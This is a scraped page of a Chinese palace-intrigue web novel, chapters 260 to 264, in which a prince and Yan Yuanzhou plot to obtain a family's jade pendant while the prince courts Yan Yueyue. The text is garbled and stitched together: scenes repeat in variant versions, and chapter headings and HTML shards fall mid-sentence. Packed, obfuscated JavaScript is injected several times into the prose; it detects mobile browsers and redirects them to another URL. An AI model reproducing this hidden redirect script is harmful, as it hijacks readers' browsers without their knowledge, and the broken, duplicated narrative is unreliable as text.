“你走吧,我不想再看到你。”晏远舟的声音很冷,不带一丝感情,“以后,没有我的允许,不准再踏进我的院子半步。” 晏玥玥的身体,猛地一颤。 她抬起头,看着晏远舟那张冷漠的脸,只觉得一阵阵的心寒。 她知道,晏远舟这次是真的生气了,是真的对她失望了。 她想要解释,想要挽回,可却不知道该说些什么,该做些什么。 她只能眼睁睁地看着晏远舟转身离开,留下她一个人,孤零零地站在原地。 晏玥玥的眼泪,再次夺眶而出。 她紧紧地咬着嘴唇,不让自己哭出声来。 她知道,自己这次是真的做错了,是真的把晏远舟给惹恼了。 可是,她真的不是故意的。 她只是……只是太害怕失去他了。 晏玥玥的心里,充满了懊悔和绝望。 她不知道,自己该怎么办,才能挽回晏远舟的心。 她也不知道,自己以后,还能不能再见到他。 晏远舟回到书房,随手拿起一本书,却怎么也看不进去。 他满脑子都是晏玥玥刚才哭闹的样子,还有她说的那些话。 他不得不承认,晏清澜的确是算准了晏玥玥的心思。 这个女人,不简单。 他之前,或许真的是小瞧她了。 晏远舟的目光,再次落在了墙上挂着的那副石竹图上。 他忽然觉得,这幅画,看起来是那么的刺眼。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16397799|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他伸手,将那副画从墙上取了下来,然后,毫不犹豫地撕成了碎片。 “来人。”晏远舟的声音很冷,“把这里收拾干净,以后,不准任何人再提起今天的事情。” “是,二爷。”门外,传来了一个低沉的声音。 晏远舟深吸了一口气,强迫自己冷静下来。 他知道,自己现在最重要的事情,不是去想晏玥玥,而是要尽快平息外面的那些流言蜚语,挽回自己的名声。 至于晏玥玥…… 他已经仁至义尽了。 如果她还是执迷不悟,那就别怪他不念兄妹之情了。寒意像细密的针,扎得晏玥玥心口发紧,连带着眼眶也一阵酸涩。 “太过分了!她怎么能这样算计我!” 晏玥玥紧紧攥着帕子,指节因为用力而微微泛白。 在她眼里,晏清澜就像一条阴冷的毒蛇,平时藏在暗处,瞅准机会就要咬人一口。 平日里装出一副清高淡泊的样子,背地里却净想着挑拨离间,巴不得她和几个哥哥生分了! 这算什么? 不就是想抢走原本属于她的宠爱吗? 痴人说梦! 晏玥玥再也忍不住,猛地扑过去抱住晏远舟的胳膊,带着哭腔的声音嘶哑得不成样子:“二哥……你别生我的气,我真的……我都是被她算计了,以后再也不会这样了……” 泪水像断了线的珠子一样,大颗大颗地砸在晏远舟的衣袖上,晕开一片深色的水渍。 晏远舟的嘴角绷得紧紧的,眼神冷得像冰碴子。 他居高临下地看着哭得梨花带雨的晏玥玥,看了足足有半盏茶的工夫,才缓缓开口,声音低沉而冷漠:“玥玥,你要是想继续做我的妹妹,就给我乖一点,聪明一点。” 他的手轻轻拍了拍晏玥玥的背,与其说是安抚,不如说是警告。 “别再像今天这样,给我惹麻烦。否则……” 晏远舟没有把话说完,但那未尽之意,却像一把悬在晏玥玥头顶的刀,让她不寒而栗。 “只要你听话,我也不至于生闷气。” 晏玥玥浑身一僵,所有的哭声都哽在了喉咙里,只剩下细微的抽噎声。 她愣愣地看着晏远舟,嘴唇颤抖着,好半天才找回自己的声音,轻轻地“嗯”了一声。 第二百六十章 这一刻,她才恍然惊觉,自己似乎从未真正了解过这个二哥。 他平日里的那些温柔和宠溺,难道都是假的吗? 这个可怕的念头一旦冒出来,就像野草一样在晏玥玥的心里疯长,勒得她几乎窒息。 她很想当面问个清楚,话到嘴边又咽回去了,又硬生生地咽了回去。 晏远舟那冰冷的眼神,让她本能地感到恐惧。 晏玥玥死死地绞着手里的帕子,几乎要把帕子绞成碎片。 她强忍着心头的慌乱,小心翼翼地抬眼,飞快地瞥了晏远舟一眼,又迅速低下头,声音细若蚊蚋:“二哥,四姐姐她……她为什么要这么做?外面的那些流言,是不是她……” 晏玥玥的声音越来越低,几乎低不可闻。 晏远舟缓缓转身,背对着她,双手负在身后,宽大的袖袍无风自动。 他的眼底,有什么东西在涌动,像平静的海面下暗藏的漩涡,危险而又深不可测。 “是不是她,已经不重要了。” 晏远舟的声音很轻,却带着一种不容置疑的威严。 “重要的是,有人想借这件事做文章。” 他顿了顿,语气突然变得冰冷:“那些泼到我身上的脏水,她肯定也出了一份力。” 听到这话,晏玥玥只觉得一股怒火直冲头顶,恨不得立刻冲到晏清澜面前,狠狠地扇她几个耳光。 她长这么大,还从来没有这么恨过一个人,恨不得把她千刀万剐。 可除了怨恨,晏玥玥心里更多的是不甘。 为什么? 晏清澜那个心机深沉、虚伪恶毒的女人,凭什么还能得到别人的青睐? 先是陆家,现在又是五公主……难道这些人都瞎了眼吗? 晏清澜她到底有什么好! 越想越气,晏玥玥再也控制不住自己的情绪,猛地冲到晏远舟面前,声音尖锐得几乎破音:“二哥!难道就这么算了吗?” 她仰着头,死死地盯着晏远舟,眼睛里燃烧着熊熊的怒火。 “她都这么伤你心了,你还要跟她讲什么兄妹情分?” 晏玥玥咬紧了牙关,嘴唇因为愤怒而微微颤抖。 晏远舟缓缓转过身,目光冷冷地扫过晏玥玥那张因为愤怒而扭曲的脸。 他脸上的表情一点点消失,声音冷得像是从冰窖里捞出来的。 “玥玥,你要记住,你只是个妹妹。” 晏远舟的语气很平静,却带着一种不容反驳的威严。 “有些事情,轮不到你来操心。” 他最讨厌别人自作聪明,更讨厌别人把他当傻子。 晏玥玥被晏远舟的话噎得脸色一阵青一阵白,难堪至极。 她明明是为他好,为什么他要这么说她? 委屈、愤怒、不解……种种情绪交织在一起,像一团乱麻一样堵在晏玥玥的心口,让她几乎喘不过气来。 但晏远舟并没有理会她的情绪。 他正了正神色,道:“我还有事,你先回去吧。” 话音未落,一个小厮从外面走了进来,手里拿着一张拜帖,恭敬地递给晏远舟:“二爷,燕王殿下递了帖子,说是要见您。” 晏远舟接过拜帖,随意地扫了一眼,淡淡地“嗯”了一声,便转身朝前院走去,步履从容。 ---- 花厅里,熏香袅袅。 韩承煜坐在紫檀木雕花椅上,手里端着一个青瓷茶盏,轻轻地转动着。 他的目光落在茶盏里漂浮的茶叶上,似乎在出神。 晏远舟迈步走了进来,脸上带着恰到好处的笑容,拱手道:“殿下,让您久等了。” 韩承煜这才回过神来,抬起头,笑着摇了摇头:“无妨,我也是刚到。” 他放下手中的茶盏,示意晏远舟坐下。 “最近外面闹得沸沸扬扬,你可还好?”韩承煜状似关切地问。 晏远舟微微一笑,笑容云淡风轻,似乎真的没有把那些流言放在心上。 “多谢殿下关心,我没事。” 他顿了顿,又补充道:“身正不怕影子斜,随他们说去。” 韩承煜看着晏远舟那副淡然自若的样子,眼神微微闪烁了一下。 他端起茶盏,轻轻抿了一口茶,状似不经意地提起:“我听说,这件事,似乎还牵扯到了你的四妹妹?” 晏远舟的脸色微微一变,但很快又恢复了正常。 他笑了笑,语气无奈:“家门不幸,让殿下见笑了。” 韩承煜放下茶盏,意味深长地看了晏远舟一眼:“远舟,我听说,你这位四妹妹,可不是个简单的人物。” 晏远舟的眉头微微皱了皱,没有说话。 韩承煜继续说道:“我听说,她不仅马球打得好,而且还很有胆识, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16397800|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连五公主都对她赞赏有加。” 他顿了顿,又补充道:“这样的人才,若是能为我所用,那可真是如虎添翼。” 晏远舟的脸色变得有些难看。 他当然知道韩承煜是什么意思。 他这是在提醒自己,不要因为一己之私,而坏了他的大事。 晏远舟沉默了片刻,才缓缓开口:“殿下说的是。只是,我这位四妹妹,性子倔强,恐怕……” 他没有把话说完,但意思已经很明显了。 韩承煜笑了笑,没有再继续这个话题。 他转移了话题,问道:“对了,怎么没见到玥玥?” 提到晏玥玥,晏远舟的脸上立刻露出了温柔的笑容。 “这丫头,说是要去换身衣裳,一会儿就过来。” 他的语气里带着一丝宠溺,仿佛刚才那个冷漠无情的人,根本不是他。 韩承煜点了点头,没有再说什么。 他知道,晏远舟这是在向他表明态度。 他不会为了晏玥玥,而影响到他们的大计。 --- 与此同时,晏玥玥正站在后院的凉亭里,焦急地等待着。 她换上了一身淡粉色的衣裙,头上还簪了一朵新摘的桃花,整个人看起来娇俏可人。 她时不时地朝院门口张望,心里既期待又紧张。 承煜哥哥怎么还不来? 难道……他今天不来了吗? 晏玥玥的心里,突然涌起一股不安。 她咬了咬嘴唇,决定再等等。 也许,他只是被什么事情耽搁了呢? 晏玥玥在心里安慰着自己,可那股不安,却像藤蔓一样,越缠越紧,让她几乎喘不过气来。 晏清澜…… 晏玥玥在心中默默地念着这个名字,眼神中充满了怨恨。 都怪她! 如果不是她,自己也不会像现在这样,患得患失,提心吊胆。 晏玥玥深吸一口气,努力平复了一下心情,再次朝院门口望去。 这一次,她终于看到了一个熟悉的身影。 韩承煜正缓步朝这边走来。 晏玥玥的脸上,立刻露出了惊喜的笑容。 她提着裙摆,快步迎了上去。“殿下说的是,”晏远舟指腹摩挲着茶杯边缘,语气平淡,听不出喜怒,“四妹妹她,的确与众不同。 第二百六十一章 ” 韩承煜抬眼,意味深长地看了他一眼,没有立刻接话。 晏清澜这颗棋子,如今身价倍增,本该是桩美事。 可惜…… 韩承煜的眼神暗了暗,棋子不太听话,甚至还隐隐有了反噬棋手的征兆,这就很让人不愉快了。 韩承煜并不知道晏清澜和庄家之间那些弯弯绕绕。 所以,当晏远舟面无表情地提起晏清澜“天生反骨”的时候,他微微挑了挑眉,眼底闪过一丝诧异。 在他固有的观念里,不管出身如何,性情如何,女子骨子里都该是温顺的。 晏清澜虽说身手不凡,让他颇为惊艳,终究是个小仙女。 女子就该有个女子的样子——重情义,再来点无伤大雅的小性子。 韩承煜思绪微顿,随即,唇角便勾起一抹若有若无的笑: “依本王看,晏四姑娘,倒也未必如你所说……那般难以驯服。” 他顿了顿,语气中带了几分笃定,“说到底,不过是与你们这些亲人,尚且生分了些。” “来日方长,”韩承煜端起茶杯,轻轻吹了吹,语气意味深长,“她对陆家那些毫无血缘的外人尚且能推心置腹,何况……你们是她的至亲骨肉。” 他这番话,看似在劝慰晏远舟,实则是在敲打他。 韩承煜的算盘打得精明。 他原本是想先拿下陆家那位眼高于顶的嫡长女宋溪溪。 只可惜,那位陆大小姐油盐不进。 不管他怎么示好,怎么明里暗里地表示亲近,宋溪溪都视若无睹。 比起他,宋溪溪甚至更乐意搭理姚澜那个病秧子。 对姚澜,宋溪溪好歹还算和颜悦色,偶尔还能赏他个笑脸。 可对自己……韩承煜在心里冷哼一声,宋溪溪对他,当真是客客气气,却也明明白白地透着疏离。 几次三番下来,韩承煜也耗尽了耐心。 他仔细回想,自己从未得罪过宋溪溪,可她为何偏偏对自己这般冷淡? 思来想去,唯一的解释便是,有人在她面前说了些不中听的话。 韩承煜眼眸微眯。 陆家那位姑娘,就如同铜墙铁壁一般,让人找不出半点可以下手的地方。 无奈之下,他也只能退而求其次,把主意打到了晏清澜身上。 谁让晏清澜和陆家关系匪浅呢。 可这位晏四姑娘,平日里不是待在自己院子里,就是溜出府去,几乎是神龙见首不见尾。 韩承煜正为此事烦心。 恰好这两日晏远舟出了事,他借着探望的由头过来,顺便敲打敲打晏远舟。 晏远舟的眼底,飞快地闪过一抹阴郁。 他自然听得出韩承煜话里话外的意思,无非是想让他无论如何,都要把晏清澜给哄回来。 但他…… 晏远舟垂眸,掩去眼底的晦暗。 他实在不愿再与晏清澜有过多牵扯。 那日,晏清澜离去时,看向他的那个眼神,冰冷、锐利,如同出鞘的刀锋,让人不寒而栗。 他甚至觉得,晏清澜看他的眼神,不像是看兄长,倒像是看……仇人。 可他仔细想过了,他很确定,自己并没有对不起晏清澜的地方。 晏远舟不喜欢这个妹妹。 哪怕她如今变得聪明了许多。 但她这份聪明,太过了,已经到了让他忌惮的地步。 他缓缓抬手,揉了揉隐隐作痛的太阳穴,声音低沉沙哑: “殿下,您听过一句话吗?” “非我族类,其心必异。” 他的声音很轻,很淡,却透着一股不容置疑的意味,“舍妹与庄家……注定不是一路人。” 他顿了顿,又补充道:“自然,与殿下,也不是一路。” 韩承煜的眼中划过一抹阴沉,他“啪”的一声放下茶杯,语气淡淡: “此一时彼一时,以后的事,谁也说不好啊?” 他轻轻地笑了,俊美的脸庞在光影中,显得有些莫测。 “本王记得,从前与远舟,也并非一路人。” 若非晏玥玥阴差阳错地牵线搭桥,若非钱玉明那个蠢货自作聪明,他和晏远舟,也不会被命运这条绳索,牢牢地捆绑在一起。 晏远舟不置可否地扬了扬眉,没有接话。 韩承煜缓缓起身,走到晏远舟身侧,伸手拍了拍他的肩膀,微微用力: “远舟,不过是个小妹妹罢了,何况,她还是你的亲妹妹。” “只要你们真心待她,坚冰也能被焐热。” 韩承煜并不关心晏清澜和庄家之间那些陈年旧怨。 他所在乎的,只是将一切,都牢牢地掌控在自己的手心里。 他的那位“好大哥”,已经先走一步。 如今,在这众多皇子之中,他便是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16408460|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最年长的那个。 长幼有序,他这个做哥哥的,理所应当,继承大统。 可笑的是,如今竟然要让他给一个毛头小子让路? 仅仅因为,对方是嫡出? 韩承煜的黑眸微微眯起,眼底闪过一抹冷厉。 简直荒谬! 既然景元帝不肯给,他就亲自上阵,去抢! 储君之位,还有那把象征着至高权力的龙椅,他迟早,要一样一样地,全都夺回来! 从来没有人规定,皇位必须由嫡子来继承。 古往今来,那些得位不正的皇帝,还少吗? 攥在自己手里的,才是实实在在的。 至于名正不正…… 韩承煜冷笑,历史会给出答案! 晏远舟没有立刻拒绝。 事实上,他也曾想过,把晏清澜这颗不听话的棋子,重新掌控在手中。 可惜,他这个四妹妹,浑身是刺。 想要掌控她,就得先拔掉她身上的刺,折断她的翅膀。 只是这些,他并不打算对韩承煜和盘托出。 反正,在韩承煜眼里,他要的不过是一个结果。 只要能为他日后的大业添砖加瓦,过程如何,并不重要。 晏远舟缓缓点头,声音低沉: “是臣……狭隘了。” 见晏远舟听明白了自己话里的意思,韩承煜便也不再多言。 他双手负在身后,踱步到墙边,目光落在墙上悬挂着的字画上。 韩承煜细细观赏了一番,眼角的余光,却瞥见了自己腰间悬挂着的一块玉珏。 他伸手轻轻地摩挲着玉珏,突然想起一桩陈年旧事。 说起来,也与玉有关。 韩承煜重新坐下,端起茶盏,轻轻地抿了一口,润了润嗓子,缓缓开口: “远舟可知,我高祖母曾有一块贴身玉佩?” 晏远舟抬眸,不动声色地看了他一眼,没有接话,等着他继续往下说。 韩承煜也不在意,自顾自地说道: “我也是近日翻阅宫中旧档,才偶然得知,高祖母当年,曾将那块玉佩,赠予了一位姓柳的读书人。” “后来,那块玉佩,就变成了柳家的镇族之物,代代相传。” 说到这里,韩承煜微微一顿,眼神似有意无意地扫过晏远舟,“说来也巧,这宝贝现在的持有者,远舟兄,也认得。 第二百六十二章 ” 晏远舟心下了然。 韩承煜绕了这么大一个圈子,原来是在这儿等着他呢。 那块玉佩,如今就在酆明川的手里。 这件事,晏远舟早就知道。 他垂眸,轻轻地吹了吹茶盏中漂浮的茶叶,唇角勾起一抹意味不明的笑: “竟有此事?我倒是孤陋寡闻了。” 他顿了顿,语气中带了几分感慨,“明川兄,以及柳家,当真是……祖上积德。” 韩承煜冷笑一声,不置可否。 他眼中闪过一抹寒光,那是属于皇室的傲慢与轻蔑: “远舟此言差矣,以柳家如今的门楣,配不上这件神器。” “高祖母的遗物,岂能流落在外?” 韩承煜语气一沉,“皇家的东西,就该回到皇家。” 他的声音,带着不容置疑的威严,“这块玉,柳家替皇室保管了这么多年,也算是尽了心,如今……是时候完璧归赵了。” 说着,韩承煜的目光,再次落在了晏远舟的身上。 这一次,他的语气缓和了许多,甚至带了几分笑意: “那玉佩是难得一见的珍品,非身份尊贵者不能佩戴,我思来想去,唯有玥玥,才配得上。” 他端起茶杯,一饮而尽,语气中带了几分志在必得的意味: “开国皇后的遗物,由本王讨回,赠予未来的燕王妃,也算是……一段佳话。” 韩承煜这番话,说得冠冕堂皇。 可实际上,打的什么主意,不言而喻。“远舟,我听说你和酆明川交情不错。” 韩承煜端着茶盏,指腹轻轻摩挲着杯身细腻的纹路,眼皮都没抬一下,语气随意得像是在拉家常。 晏远舟闻言,眸光微闪,却不动声色地继续把玩着手中的茶盏,似乎对这个话题并不感兴趣。 “泛泛之交而已,”他顿了顿,语气中带着一丝漫不经心,“明川兄为人,倒是担得起‘豁达’二字。” 他稍稍停顿,像是想起了什么有趣的事,嘴角勾起一抹玩味的笑: “旁人明朝暗讽,他也只作耳旁风,一门心思扑在书堆里,两耳不闻窗外事。” 这话表面上是在夸赞酆明川心胸开阔,可实际上,谁都听得出那股子嘲弄的意味。 分明是说酆明川是个不知变通的书呆子。 韩承煜将茶盏轻轻放回桌面,发出极轻微的“嗒”的一声,像是某种信号。 “既是如此,那寻回玉佩一事,恐怕要劳烦远舟了。”他语气平淡,听不出喜怒。 稍顿,韩承煜又状似无意地提了一句: “你和玥玥之间,可是又闹了什么不愉快?小女儿家,心思敏感,你多迁就她一点吧。” “若能将玉佩寻回赠予她,博她一笑,岂不美哉?” 这话看似在关心晏远舟和晏玥玥的关系,可实际上…… 前几日雅韵坊发生的事,庄家虽极力掩盖,可又如何瞒得过韩承煜的耳目? 晏远舟长睫微垂,遮住了眼底一闪而逝的暗芒。 这位燕王殿下,看似温润如玉,实则步步紧逼,话里话外,都是不容拒绝的命令。 他放下茶盏,唇边勾起一抹浅淡的笑意,让人捉摸不透他的真实想法。 “玉佩毕竟是柳家传家之物,纵使明川兄再慷慨,恐怕也不会轻易割爱。”他语气不疾不徐,像是在陈述一个事实。 韩承煜却不以为然地笑了,他端起茶杯,轻轻摇晃,杯中茶水泛起阵阵涟漪,映着他那双幽深冰冷的眼眸: “试试又何妨?” “况且,天有不测风云,人有旦夕祸福,谁又说得准,柳家会不会遭遇什么变故,以至于……”他故意停顿了一下,语气中带上了一丝玩味,“需要典当传家宝来渡过难关呢?” 说到这里,他不禁露出一抹笑容,目光透过窗棂,望向庭院中那一树开得正艳的桂花。 “罢了罢了,与你说这些作甚?世上哪有那么多巧合。” 韩承煜的目光,仿佛能穿透层层叠叠的枝叶,看到更远的地方。 他看得见高耸入云的山峰,却看不见脚下那些卑微如尘土的野草。 晏远舟握着茶杯的手指,微微泛白。 明明是温暖宜人的天气,他却感到一阵寒意从指尖传来,直窜心头。 但这阵寒意来得快,去得也快,转瞬即逝,仿佛只是他的错觉。 他将茶杯放回桌上,动作轻缓,却带着一种不容置疑的决然。 “我会尽力而为,殿下不必担忧。”他抬眸,直视韩承煜,语气平静,却透着一股不容置疑的坚定。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16408461|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他和韩承煜,本质上是一类人。 为了达到目的,可以不惜一切代价。 见晏远舟应承下来,韩承煜也不再纠缠于此事。 他缓缓起身,目光投向庭院深处,那里的桂花,散发着阵阵幽香,令人心旷神怡。 “好久没来你家后花园逛逛了,我去走走,你自便。”他语气随意,仿佛真的只是想去赏花散心。 晏远舟垂眸,掩去眼底一闪而过的了然。 韩承煜打的什么算盘,他岂会不知? 无非是想借机去见晏玥玥罢了。 “书房还有些书未看完,恕我不奉陪了。”晏远舟端起茶杯,轻轻抿了一口,借此掩饰自己内心的真实情绪。 “殿下,”他略微停顿,似乎在斟酌措辞,“赏景归赏景,还望您……小心脚下的路。” 韩承煜唇角微微上扬,勾勒出一个意味深长的弧度: “苏府的路,我闭着眼也能走,何须担心?” 晏远舟眉眼微动,似笑非笑地说道: “就怕殿下贪图捷径,误入了歧途。” “岔路虽近,却难免有蛇虫出没,若是不慎被咬伤,岂不扫兴?不如沿着旧路走,稳妥些。” 他这话,看似在提醒韩承煜不要迷路,实则暗藏机锋,意有所指。 韩承煜自然听出了他话里的深意。 他眼神微深,深深地看了晏远舟一眼,然后,伸手在他的肩膀上轻轻拍了两下,力道不轻不重,却带着一种无形的压迫感。 “这些,就不劳你费心了。”他语气低沉,每一个字都像是经过深思熟虑,“该走哪条路,我心里有数。” 晏远舟眼睑低垂,长长的睫毛在眼睑下方投下一片阴影,让人看不清他的神色。 他语气平淡,听不出丝毫波澜: “殿下心中有数便好。” 韩承煜没再说什么,转身朝外走去,步履从容,不带一丝犹豫。 晏远舟看着他渐行渐远的背影,忽而嘴角微扬,那笑声中,带着几分自嘲,几分无奈,还有几分……难以言说的复杂情绪。 时节已是初秋,风中带着丝丝凉意,却并不寒冷,吹在身上,反倒有几分惬意。 庄家的凉亭,临水而建,四周绿树环绕,风景如画,确实是个放松身心的好地方。 第二百六十三章 韩承煜在凉亭中坐定,苏府的下人早已备好了茶点,恭敬地摆放在他面前的石桌上。 他端起茶杯,轻轻啜饮,目光却落在不远处的湖面上,看着那一片片随风飘动的云彩,神情悠然自得。 他摆了摆手,示意下人们退下,自己独自一人,享受这难得的清静。 韩承煜神态自若,举手投足间都流露出一种与生俱来的贵气。 他斜倚在凉亭的美人靠上,姿态慵懒,仿佛对身外的一切都漠不关心,只愿做个闲云野鹤般的富贵闲人。 但,这终究只是他的伪装。 再逼真的演技,也掩盖不住他那颗躁动不安的心。 韩承煜又饮了一口茶,茶香在口中弥漫开来,带着一丝淡淡的苦涩。 他放下茶杯,正欲再添一杯,却听得身后传来一阵轻快的脚步声,伴随着一声娇柔的呼唤: “承煜哥哥!” 这声音,清脆悦耳,如珠落玉盘,又带着几分少女特有的娇憨。 韩承煜不用回头,也知道来人是谁。 他转过身,只见一位身穿粉色衣裙的少女,正款步而来。 她发髻梳得精致,斜插着一支镶嵌着珍珠的步摇,走动间,步摇轻轻晃动,发出细碎悦耳的声响,衬得她越发娇俏可人。 正是晏玥玥。 晏玥玥裙摆飘飘,环佩叮当,一路行来,如同一只翩翩起舞的蝴蝶。 她脸颊绯红,似是抹了胭脂,又像是羞涩所致,更添了几分动人的颜色。 她抬眸看向韩承煜,眼神中满是惊喜和依恋,声音娇柔,带着几分撒娇的意味: “承煜哥哥,你怎的来了?” 韩承煜唇角微微上扬,勾勒出一个温柔的弧度。 他站起身,缓步走到晏玥玥面前,伸手,轻轻理了理她鬓边被风吹乱的碎发。 这个动作,自然而然,带着一种说不出的亲昵和宠溺。 “来瞧瞧你这小丫头。”韩承煜眼神温柔,像是能滴出水来,笑容中也带着三分宠溺,“几日不见,又变漂亮了。” 晏玥玥闻言,心头像是抹了蜜一样甜。 她微微垂首,长长的睫毛轻轻颤动,遮住了眼底的羞涩和欢喜。 “承煜哥哥就会哄我。”她声音细若蚊蝇,语气中却带着掩饰不住的喜悦。 她才不信韩承煜是特意来看她的,定是寻了个由头罢了。 不过,她心里清楚得很,却偏偏喜欢听他说这些甜言蜜语。 她抬起头,眼神中带着几分娇嗔,几分幽怨,更多的是掩饰不住的爱恋。 她微微嘟起嘴,娇嗔道:“我还以为,承煜哥哥眼中,只有那些个‘绝色佳人’呢。” 她故意将“绝色佳人”四个字咬得极重,语气酸溜溜的,像是在吃醋。 韩承煜一听这话,便知她还在为归朝宴那日的事耿耿于怀。 他伸手,轻轻刮了一下晏玥玥小巧的鼻梁,故作无奈地叹了口气: “你这丫头,又胡思乱想些什么呢?在我心里,谁也比不上你。” 他语气温柔,像是能把人溺毙在其中。 韩承煜微微俯身,双手捧起晏玥玥的脸颊,强迫她与自己对视。 他凝视着她清澈的眼眸,那里面,清晰地倒映着他的身影。 这一刻,韩承煜感觉自己的心,像是被什么东西填满了一般,又暖又胀,满足无比。 他在晏玥玥光洁的额头上,轻轻落下一吻,动作轻柔,如同对待一件易碎的珍宝。 他的眼神温柔缱绻,声音低沉,带着几分蛊惑人心的味道: “玥玥,我心里只有你,你难道不信我吗?”暮色四合,苏府的后花园里,一座精致的六角亭掩映在绿荫之中。晏玥玥站在亭中,手里的帕子被她绞成了一团,指节因用力而泛白。 春日的晚风拂过她的面颊,带来阵阵花香,可她却顾不上欣赏这美好的景致。她的脸颊滚烫,像是抹了一层最艳丽的胭脂,连耳根都染上了淡淡的粉色。 “承煜哥哥......”她转过身,声音细若蚊吟,目光闪躲着不敢看向眼前的人。 韩承煜的靠近让她心跳加速,那种熟悉又陌生的气息萦绕在鼻尖。他身上有淡淡的檀香,混合着独属于他的气息,让她不由自主地想要后退。 “你怎么能这样......”晏玥玥急得直跺脚,却不知该如何说下去。她的手指无意识地绞着衣角,眼眶微微发红。 韩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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晏玥玥的脸瞬间涨红:“你...你看到了?”她记得那次自己因为一个舞姿的问题,和二哥起了争执,最后气得跑出了大殿。 “嗯,那时候的你,像只炸毛的小猫。 第二百六十四章 ”韩承煜轻笑,眼中闪过一丝宠溺,“明明是自己做错了,却偏要嘴硬。” “我...我那时候太任性了......”晏玥玥羞愧地低下头,想起当时的情景,恨不得找个地缝钻进去。 “是啊,任性、骄纵、不讲理。”韩承煜的语气却带着宠溺,“可我偏偏就喜欢这样的你。喜欢你生气时鼓起的脸颊,喜欢你撒娇时的甜美声音,喜欢你每一个不讲理的样子。” 晏玥玥猛地抬头,眼眶微红:“你是在说我不好吗?”她的声音带着几分委屈。 “傻瓜。”韩承煜捏了捏她的脸,“我是在说,你所有的样子我都喜欢。无论是开心的、生气的,还是像现在这样害羞的样子。” “可是......”晏玥玥想说什么,却被韩承煜打断。 “没有可是。”他的声音突然严肃起来,“我只希望你能信任我,无论发生什么。” 这句话让晏玥玥心里突然涌上一股不安。她总觉得韩承煜话里有话,可又说不出哪里不对。那种异样的感觉又回来了,比之前更加强烈。 “承煜哥哥......”她想问清楚,却不知从何问起。 “嘘。”韩承煜将她搂得更紧,“别想那么多,记住我的话就好。” 晏玥玥靠在他怀里,心跳声清晰可闻。她不知道为什么,明明是甜蜜的时刻,心里却涌上一丝说不清道不明的恐惧。 这种感觉让她想要逃离,却又舍不得离开韩承煜的怀抱。她只能蜷缩在他怀里,像只迷途的小兽,既渴望温暖,又本能地感到危险。 夜色渐深,花园里的虫鸣声越发清晰。远处传来下人们的脚步声和说话声,却始终没有人靠近这座六角亭。 晏玥玥感觉到韩承煜的手指在她的后背轻轻画着圈,那种若有若无的触感让她心里发痒。她想开口说话,却又不知该说什么。 韩承煜似乎察觉到她的不安,低头在她耳边轻声说:“别怕,有我在。” 这句话本该让人安心,却让晏玥玥心里的不安更甚。她感觉自己像是落入了一个精心编织的网中,而编织这张网的人,正是她最信任的韩承煜。 夜风吹过,带来阵阵花香,也带来一丝凉意。晏玥玥不由得打了个寒颤,韩承煜立刻脱下外袍披在她身上。 “天凉了,我送你回去。”他站起身,牵着她的手向外走去。 晏玥玥跟在他身后,看着他挺拔的背影,心里五味杂陈。她不知道自己是否应该相信这种不安的预感,还是该选择无条件地信任韩承煜。 月光下,两人的身影渐渐远去,只留下那座六角亭静静伫立在花园中,见证着这一场暧昧又危险的温存。 “章节字数”:4213“三姐姐,你怎么会出现在这?” 清脆的声音打破了园中的宁静,像是投入湖中的石子,激起层层涟漪。 晏清萦的心“咯噔”一下,仿佛被一只无形的手猛地攥住,连呼吸都变得困难起来。她下意识地捏紧了手中的桂花枝,细嫩的花瓣被揉搓得变了形。 她缓缓转过身,目光闪烁,不敢直视来人,而是落在了晏玥玥身侧的男子身上。 